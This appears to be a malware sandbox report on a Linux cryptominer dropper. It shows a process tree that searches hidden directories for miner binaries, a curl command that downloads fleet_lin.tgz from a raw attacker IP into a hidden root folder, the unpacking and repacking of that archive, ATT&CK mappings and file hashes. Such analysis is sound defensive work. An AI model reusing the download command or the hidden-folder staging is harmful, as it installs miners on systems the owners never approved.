  PID:1917
- /usr/bin/stat
  stat "-c%s" /usr/share/dict/american-english
  2⤵
  PID:1920
- /usr/bin/basename
  basename /usr/share/dict/american-english
  2⤵
  PID:1922
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1924
- /usr/bin/head
  head -c 4 /usr/share/dict/american-english
  2⤵
  PID:1923
- /usr/bin/head
  head -1
  2⤵
  PID:1928
- /usr/bin/find
  find /var/lib -type f -name pearl-gpu-miner -size +500k
  2⤵
  PID:1927
- /usr/bin/head
  head -1
  2⤵
  PID:1931
- /usr/bin/find
  find /var/lib -type f -name glint -size +500k
  2⤵
  PID:1930
- /usr/bin/head
  head -1
  2⤵
  PID:1934
- /usr/bin/find
  find /var/lib -type f -name miner2 -size +500k
  2⤵
  - Reads runtime system information
  PID:1933
- /usr/bin/head
  head -1
  2⤵
  PID:1937
- /usr/bin/find
  find /var/lib -type f -name krig-miner -size +500k
  2⤵
  - Reads runtime system information
  PID:1936
- /usr/bin/head
  head -1
  2⤵
  PID:1940
- /usr/bin/find
  find /var/lib -type f -name pearl -size +500k
  2⤵
  - Reads runtime system information
  PID:1939
- /usr/bin/head
  head -1
  2⤵
  PID:1943
- /usr/bin/find
  find /var/lib -type f -name nvidia-persistenced -size +500k
  2⤵
  PID:1942
- /usr/bin/head
  head -100
  2⤵
  PID:1946
- /usr/bin/find
  find /var/lib -type f -size +500k
  2⤵
  PID:1945
- /usr/bin/stat
  stat "-c%s" /var/lib/ispell/british.hash
  2⤵
  - Reads runtime system information
  PID:1948
- /usr/bin/basename
  basename /var/lib/ispell/british.hash
  2⤵
  PID:1950
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1952
- /usr/bin/head
  head -c 4 /var/lib/ispell/british.hash
  2⤵
  PID:1951
- /usr/bin/stat
  stat "-c%s" /var/lib/ispell/american.hash
  2⤵
  PID:1954
- /usr/bin/basename
  basename /var/lib/ispell/american.hash
  2⤵
  PID:1956
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1958
- /usr/bin/head
  head -c 4 /var/lib/ispell/american.hash
  2⤵
  PID:1957
- /usr/bin/stat
  stat "-c%s" /var/lib/usbutils/usb.ids
  2⤵
  PID:1960
- /usr/bin/basename
  basename /var/lib/usbutils/usb.ids
  2⤵
  PID:1962
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1964
- /usr/bin/head
  head -c 4 /var/lib/usbutils/usb.ids
  2⤵
  PID:1963
- /usr/bin/stat
  stat "-c%s" /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_source_Sources
  2⤵
  PID:1966
- /usr/bin/basename
  basename /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_source_Sources
  2⤵
  PID:1968
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1970
- /usr/bin/head
  head -c 4 /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_source_Sources
  2⤵
  PID:1969
- /usr/bin/stat
  stat "-c%s" /var/lib/apt/lists/archive.debian.org_debian-security_dists_stretch_updates_main_i18n_Translation-en
  2⤵
  PID:1972
- /usr/bin/basename
  basename /var/lib/apt/lists/archive.debian.org_debian-security_dists_stretch_updates_main_i18n_Translation-en
  2⤵
  PID:1974
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1976
- /usr/bin/head
  head -c 4 /var/lib/apt/lists/archive.debian.org_debian-security_dists_stretch_updates_main_i18n_Translation-en
  2⤵
  PID:1975
- /usr/bin/stat
  stat "-c%s" /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_binary-mipsel_Packages
  2⤵
  PID:1978
- /usr/bin/basename
  basename /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_binary-mipsel_Packages
  2⤵
  PID:1980
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1982
- /usr/bin/head
  head -c 4 /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_binary-mipsel_Packages
  2⤵
  PID:1981
- /usr/bin/stat
  stat "-c%s" /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_i18n_Translation-en
  2⤵
  PID:1984
- /usr/bin/basename
  basename /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_i18n_Translation-en
  2⤵
  PID:1986
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1988
- /usr/bin/head
  head -c 4 /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_i18n_Translation-en
  2⤵
  PID:1987
- /usr/bin/stat
  stat "-c%s" /var/lib/apt/lists/archive.debian.org_debian-security_dists_stretch_updates_main_source_Sources
  2⤵
  PID:1990
- /usr/bin/basename
  basename /var/lib/apt/lists/archive.debian.org_debian-security_dists_stretch_updates_main_source_Sources
  2⤵
  PID:1992
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1994
- /usr/bin/head
  head -c 4 /var/lib/apt/lists/archive.debian.org_debian-security_dists_stretch_updates_main_source_Sources
  2⤵
  PID:1993
- /usr/bin/stat
  stat "-c%s" /var/lib/selinux/default/active/policy.kern
  2⤵
  PID:1996
- /usr/bin/basename
  basename /var/lib/selinux/default/active/policy.kern
  2⤵
  PID:1998
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:2000
- /usr/bin/head
  head -c 4 /var/lib/selinux/default/active/policy.kern
  2⤵
  PID:1999
- /usr/bin/stat
  stat "-c%s" /var/lib/dpkg/info/linux-headers-4.9.0-13-common.list
  2⤵
  PID:2002
- /usr/bin/basename
  basename /var/lib/dpkg/info/linux-headers-4.9.0-13-common.list
  2⤵
  PID:2004
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:2006
- /usr/bin/head
  head -c 4 /var/lib/dpkg/info/linux-headers-4.9.0-13-common.list
  2⤵
  PID:2005
- /usr/bin/stat
  stat "-c%s" /var/lib/dpkg/info/keyboard-configuration.templates
  2⤵
  PID:2008
- /usr/bin/basename
  basename /var/lib/dpkg/info/keyboard-configuration.templates
  2⤵
  PID:2010
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:2012
- /usr/bin/head
  head -c 4 /var/lib/dpkg/info/keyboard-configuration.templates
  2⤵
  PID:2011
- /usr/bin/stat
  stat "-c%s" /var/lib/dpkg/info/linux-headers-4.9.0-13-common.md5sums
  2⤵
  - Reads runtime system information
  PID:2014
- /usr/bin/basename
  basename /var/lib/dpkg/info/linux-headers-4.9.0-13-common.md5sums
  2⤵
  PID:2016
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:2018
- /usr/bin/head
  head -c 4 /var/lib/dpkg/info/linux-headers-4.9.0-13-common.md5sums
  2⤵
  PID:2017
- /usr/bin/stat
  stat "-c%s" /var/lib/dpkg/info/keyboard-configuration.config
  2⤵
  PID:2020
- /usr/bin/basename
  basename /var/lib/dpkg/info/keyboard-configuration.config
  2⤵
  PID:2022
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:2024
- /usr/bin/head
  head -c 4 /var/lib/dpkg/info/keyboard-configuration.config
  2⤵
  PID:2023
- /usr/bin/stat
  stat "-c%s" /var/lib/dpkg/info/exim4-config.templates
  2⤵
  PID:2026
- /usr/bin/basename
  basename /var/lib/dpkg/info/exim4-config.templates
  2⤵
  PID:2028
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:2030
- /usr/bin/head
  head -c 4 /var/lib/dpkg/info/exim4-config.templates
  2⤵
  PID:2029
- /usr/bin/head
  head -1
  2⤵
  PID:2034
- /usr/bin/find
  find /usr/lib/.lx -type f -name pearl-gpu-miner -size +500k
  2⤵
  - Reads runtime system information
  PID:2033
- /usr/bin/head
  head -1
  2⤵
  PID:2037
- /usr/bin/find
  find /usr/lib/.lx -type f -name glint -size +500k
  2⤵
  - Reads runtime system information
  PID:2036
- /usr/bin/head
  head -1
  2⤵
  PID:2040
- /usr/bin/find
  find /usr/lib/.lx -type f -name miner2 -size +500k
  2⤵
  - Reads runtime system information
  PID:2039
- /usr/bin/head
  head -1
  2⤵
  PID:2043
- /usr/bin/find
  find /usr/lib/.lx -type f -name krig-miner -size +500k
  2⤵
  PID:2042
- /usr/bin/head
  head -1
  2⤵
  PID:2046
- /usr/bin/find
  find /usr/lib/.lx -type f -name pearl -size +500k
  2⤵
  PID:2045
- /usr/bin/head
  head -1
  2⤵
  PID:2049
- /usr/bin/find
  find /usr/lib/.lx -type f -name nvidia-persistenced -size +500k
  2⤵
  PID:2048
- /usr/bin/head
  head -100
  2⤵
  PID:2052
- /usr/bin/find
  find /usr/lib/.lx -type f -size +500k
  2⤵
  PID:2051
- /usr/bin/head
  head -1
  2⤵
  PID:2056
- /usr/bin/find
  find /root/.local/share/icc/.mgr -type f -name pearl-gpu-miner -size +500k
  2⤵
  PID:2055
- /usr/bin/head
  head -1
  2⤵
  PID:2059
- /usr/bin/find
  find /root/.local/share/icc/.mgr -type f -name glint -size +500k
  2⤵
  PID:2058
- /usr/bin/head
  head -1
  2⤵
  PID:2062
- /usr/bin/find
  find /root/.local/share/icc/.mgr -type f -name miner2 -size +500k
  2⤵
  PID:2061
- /usr/bin/head
  head -1
  2⤵
  PID:2065
- /usr/bin/find
  find /root/.local/share/icc/.mgr -type f -name krig-miner -size +500k
  2⤵
  PID:2064
- /usr/bin/head
  head -1
  2⤵
  PID:2068
- /usr/bin/find
  find /root/.local/share/icc/.mgr -type f -name pearl -size +500k
  2⤵
  PID:2067
- /usr/bin/head
  head -1
  2⤵
  PID:2071
- /usr/bin/find
  find /root/.local/share/icc/.mgr -type f -name nvidia-persistenced -size +500k
  2⤵
  PID:2070
- /usr/bin/head
  head -100
  2⤵
  PID:2074
- /usr/bin/find
  find /root/.local/share/icc/.mgr -type f -size +500k
  2⤵
  PID:2073
- /usr/bin/head
  head -1
  2⤵
  PID:2078
- /usr/bin/find
  find /root/.local/share/icc -type f -name pearl-gpu-miner -size +500k
  2⤵
  PID:2077
- /usr/bin/head
  head -1
  2⤵
  PID:2081
- /usr/bin/find
  find /root/.local/share/icc -type f -name glint -size +500k
  2⤵
  PID:2080
- /usr/bin/head
  head -1
  2⤵
  PID:2084
- /usr/bin/find
  find /root/.local/share/icc -type f -name miner2 -size +500k
  2⤵
  PID:2083
- /usr/bin/head
  head -1
  2⤵
  PID:2087
- /usr/bin/find
  find /root/.local/share/icc -type f -name krig-miner -size +500k
  2⤵
  PID:2086
- /usr/bin/head
  head -1
  2⤵
  PID:2090
- /usr/bin/find
  find /root/.local/share/icc -type f -name pearl -size +500k
  2⤵
  PID:2089
- /usr/bin/head
  head -1
  2⤵
  PID:2093
- /usr/bin/find
  find /root/.local/share/icc -type f -name nvidia-persistenced -size +500k
  2⤵
  PID:2092
- /usr/bin/head
  head -100
  2⤵
  PID:2096
- /usr/bin/find
  find /root/.local/share/icc -type f -size +500k
  2⤵
  PID:2095
- /usr/bin/head
  head -1
  2⤵
  PID:2100
- /usr/bin/find
  find /tmp -type f -name pearl-gpu-miner -size +500k
  2⤵
  - Reads runtime system information
  PID:2099
- /usr/bin/head
  head -1
  2⤵
  PID:2103
- /usr/bin/find
  find /tmp -type f -name glint -size +500k
  2⤵
  PID:2102
- /usr/bin/head
  head -1
  2⤵
  PID:2106
- /usr/bin/find
  find /tmp -type f -name miner2 -size +500k
  2⤵
  PID:2105
- /usr/bin/head
  head -1
  2⤵
  PID:2109
- /usr/bin/find
  find /tmp -type f -name krig-miner -size +500k
  2⤵
  - Reads runtime system information
  PID:2108
- /usr/bin/head
  head -1
  2⤵
  PID:2112
- /usr/bin/find
  find /tmp -type f -name pearl -size +500k
  2⤵
  PID:2111
- /usr/bin/head
  head -1
  2⤵
  PID:2115
- /usr/bin/find
  find /tmp -type f -name nvidia-persistenced -size +500k
  2⤵
  PID:2114
- /usr/bin/head
  head -100
  2⤵
  PID:2118
- /usr/bin/find
  find /tmp -type f -size +500k
  2⤵
  PID:2117
- /bin/mkdir
  mkdir -p /root/.local/share/icc/.mgr/rt14564
  2⤵
  PID:2119
- /usr/bin/curl
  curl -fsSL --max-time 300 http://23.252.123.134:18095/fleet_lin.tgz -o /root/.local/share/icc/.mgr/rt14564/f.tgz
  2⤵
  PID:2120
- /bin/tar
  tar -xzf /root/.local/share/icc/.mgr/rt14564/f.tgz -C /root/.local/share/icc/.mgr/rt14564
  2⤵
  PID:2121
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:2122
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:2122
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:2122
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:2122
- - /sbin/gzip
    gzip -d
    3⤵
    PID:2122
- - /bin/gzip
    gzip -d
    3⤵
    PID:2122
- /usr/bin/head
  head -1
  2⤵
  PID:2126
- /usr/bin/find
  find /root/.local/share/icc/.mgr/rt14564 -type f -name pearl-gpu-miner -size +500k
  2⤵
  PID:2125
- /usr/bin/head
  head -1
  2⤵
  PID:2129
- /usr/bin/find
  find /root/.local/share/icc/.mgr/rt14564 -type f -name glint -size +500k
  2⤵
  PID:2128
- /usr/bin/head
  head -1
  2⤵
  PID:2132
- /usr/bin/find
  find /root/.local/share/icc/.mgr/rt14564 -type f -name miner2 -size +500k
  2⤵
  PID:2131
- /usr/bin/head
  head -1
  2⤵
  PID:2135
- /usr/bin/find
  find /root/.local/share/icc/.mgr/rt14564 -type f -name krig-miner -size +500k
  2⤵
  PID:2134
- /usr/bin/head
  head -1
  2⤵
  PID:2138
- /usr/bin/find
  find /root/.local/share/icc/.mgr/rt14564 -type f -name pearl -size +500k
  2⤵
  PID:2137
- /usr/bin/head
  head -1
  2⤵
  PID:2141
- /usr/bin/find
  find /root/.local/share/icc/.mgr/rt14564 -type f -name nvidia-persistenced -size +500k
  2⤵
  - Reads runtime system information
  PID:2140
- /usr/bin/head
  head -100
  2⤵
  PID:2144
- /usr/bin/find
  find /root/.local/share/icc/.mgr/rt14564 -type f -size +500k
  2⤵
  - Reads runtime system information
  PID:2143
- /usr/bin/stat
  stat "-c%s" /root/.local/share/icc/.mgr/rt14564/c
  2⤵
  - Reads runtime system information
  PID:2146
- /usr/bin/basename
  basename /root/.local/share/icc/.mgr/rt14564/c
  2⤵
  PID:2148
- /usr/bin/dirname
  dirname /root/.local/share/icc/.mgr/rt14564/c
  2⤵
  PID:2149
- /bin/tar
  tar -czf /tmp/.lxseal.tgz -C /root/.local/share/icc/.mgr/rt14564 .
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:2150
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    PID:2151
  - - /bin/gzip
      gzip
      4⤵
      PID:2152

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /root/.local/share/icc/.mgr/rt14564/c
Size 33.2MB
SHA256 abdc8f915c149e5ca265a40dbafa59b92159a1d40478ced199e4e384060cbe3f
MD5 654612c0c9ffa69cb3783d7f96defd2b
SHA1 74d2464aac6ea7afd96d731412a56b74c7faba24
SHA512 e00848c5e3aee3d35ad5a7b640dcfcfb27dc0242f9abac1ca338d815f14be84541cae20ae28e97999b3dc3998410455c923050d445509c5e73eb2e3be5e012d0
SSDEEP 786432:30Tn1zXtkej56gYIzLeuvbX3ZPhYnePEJDpwQ2:gn1Dtl56gY+L1PEJDh2
TLSH
T1E57733B744EA86E5F3E8BBFBBC539609EFC4B3E0A1258D153D415C3A02D060C666467B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

config.json

Path /root/.local/share/icc/.mgr/rt14564/config.json
Size 900B
SHA256 1f41561d9ecece6633337fbbe93b0f050bf5bb43a8aaf91647696c201ee37bd3
MD5 da0b435c58e185e0de02140598bd3d2b
SHA1 4470edd525d5100f38722a9ef20a3a433eb96f7d
SHA512 32bc25ebd893bd499d0e4970a1e1147c1055a1e28f88620bb4efa2b8de389f3528c415b7ce04708b0c1e392c5de2940e6a7bea3af23f84ea88a74255dad40959
TLSH
T1CE115925D41908FB43E4D0AC9938A3A317788D960256393E9243963C772EF3562B0ED2
MD5 SHA1 SHA512 TLSH

Submit Download

f.tgz

Path /root/.local/share/icc/.mgr/rt14564/f.tgz
Size 36.2MB
SHA256 c6446870142505090b9a50e971279b065b41e1d01b9b90e3b5d8bcfa19afdeb4
MD5 0cf38f1e34eea95e9fc8f83309e40d3b
SHA1 9114fd0e0a1341723b3cce2c1eebe01a3164474c
SHA512 09de0504189b1a88c1ca2d3b89f2f4e20c0b91b1a4cda50a5c0374e954db30ac692541c769341e2afab69c151bb3f4f09e2ddb1981cb4148ee73865a69469a89
SSDEEP 786432:1QVrlR/jsS9Z6w08jJgK77jPtxT6LA5Q/jrKk609T0C:Erl9jzZ6wqCjt5Q/jNv9T0C
TLSH
T1C68733B385E685E6E3EDB7F7BCA39648AF84B3E16225CD2439426C3513D020C175897B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

run.sh

Path /root/.local/share/icc/.mgr/rt14564/run.sh
Size 513B
SHA256 1260167c2c6bf191d079fe5826f8227f502ec151e8e30d6e3406902bd70addfb
MD5 d2873da55dd5a8b9427886f962fcb1f3
SHA1 8cadf2754eb8ec027efbfcc815e6721b1e958788
SHA512 6ef3c8fa97239241545302ec85d268641a58124e6931eb20d9d18bc2c44dd584ee021a64101798170a17d237ef31b8ad075e3af1bc018d18a31390fdcdc3d6c4
TLSH
T18FF08B1BAE300C15302ECE1F08D48A009D894837C44E1EBEB2CA5F50E1B4E197260DAF
MD5 SHA1 SHA512 TLSH

Submit Download

Path /root/.local/share/icc/.mgr/rt14564/x
Size 7.3MB
SHA256 8c19b4bf96922f30937ff8e3798584f1c2f1ff5796c11d62f2d9504782d1f58b
MD5 6cb60bf0fa60bfd3587ffbc2c7534d6a
SHA1 032708468608c63292ebbcb1c77e8f9ed9fe92d0
SHA512 ecc95b677683d5ec69aaa6f83e62aa1b7a327541a0c6ac07aa24938ca0ae5e7baa446dc841bd3406dcce51b9fbc7f7c2ebba1b07a0b5413036d7e0e6575e929d
SSDEEP 98304:KcboAfHvomqMLB+vw0/PwIIT/3tTl2AaAI2mUs5du5U0ARlPE3PE3PEPpkvB09DN:uqqW+vJWxyDY+42Puiaers
TLSH
T1E1766C4AB5A714FDC19AC474872FD5A3BE30781842157D7B36A4EA302E27F711B2EB21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lx_phoenix.log

Path /tmp/.lx_phoenix.log
Size 35B
SHA256 a1f560b5512bc9edb126229a9d63cd685d1b835eb525e22e35eb899e57431855
MD5 dd3e2ff76f3a513e228f3446c53f75be
SHA1 946edc6b617a09f87751587a6851e7be422cb2b5
SHA512 cf4dbf5aee39775d5a529b50638ef6cfed059f1a8b0a5fcbbb9fd13a0636e83593ba2016bab5baeb85e1d6d05e846b65f4d629255f60cc2d528400b057926998
MD5 SHA1 SHA512

Submit Download

.lxseal.tgz

Path /tmp/.lxseal.tgz
Size 23.7MB
SHA256 0cc0701e941bac97bd956204c21f7f93c58f36b740d4e668acf15f8cb68f38f8
MD5 d3d35b271c08da6fe7f5a78f4441e111
SHA1 90867f83bf4fa1872adb1e8755689c8dd57430b7
SHA512 3498dd4a03af22f17ec12ac2c98455ce1926121e1da0b46beddf837397728205b9eb636a948a10554ccd938ae116b3834dbfdbad48e853edef428ec3708647ec
SSDEEP 393216:F2lFC1we7lhzZS+dzV2U8196J/t+z3GoQvjqYsnmiqh/JBhSa/sJY2QE:FuO5l5dzn8CJV+qoijVQmF5JBh79w
TLSH
T1CD4733B312FF86E4B3D4BBF3BE839549BF9972E460658C2A2D511C3720501181A59EEF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lastrun

Path /usr/lib/.lx/.lastrun
Size 11B
SHA256 4c89b93069d58986f3e1194c4b3e2baceebba8fec1b058077bd3ead1a733d350
MD5 ff4a637b410627e51576391e52c9a302
SHA1 eb5b3ea74bb7009dacf5d0386feaec9a3be86a5a
SHA512 fc920a887b09abb2a192b2e09e76266da3cfbb280888f940bbc87aeb793f6c84072ba77161213f75c7ad81f691c4e091c9e51f271a7f421b4d657328777bcd1e
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads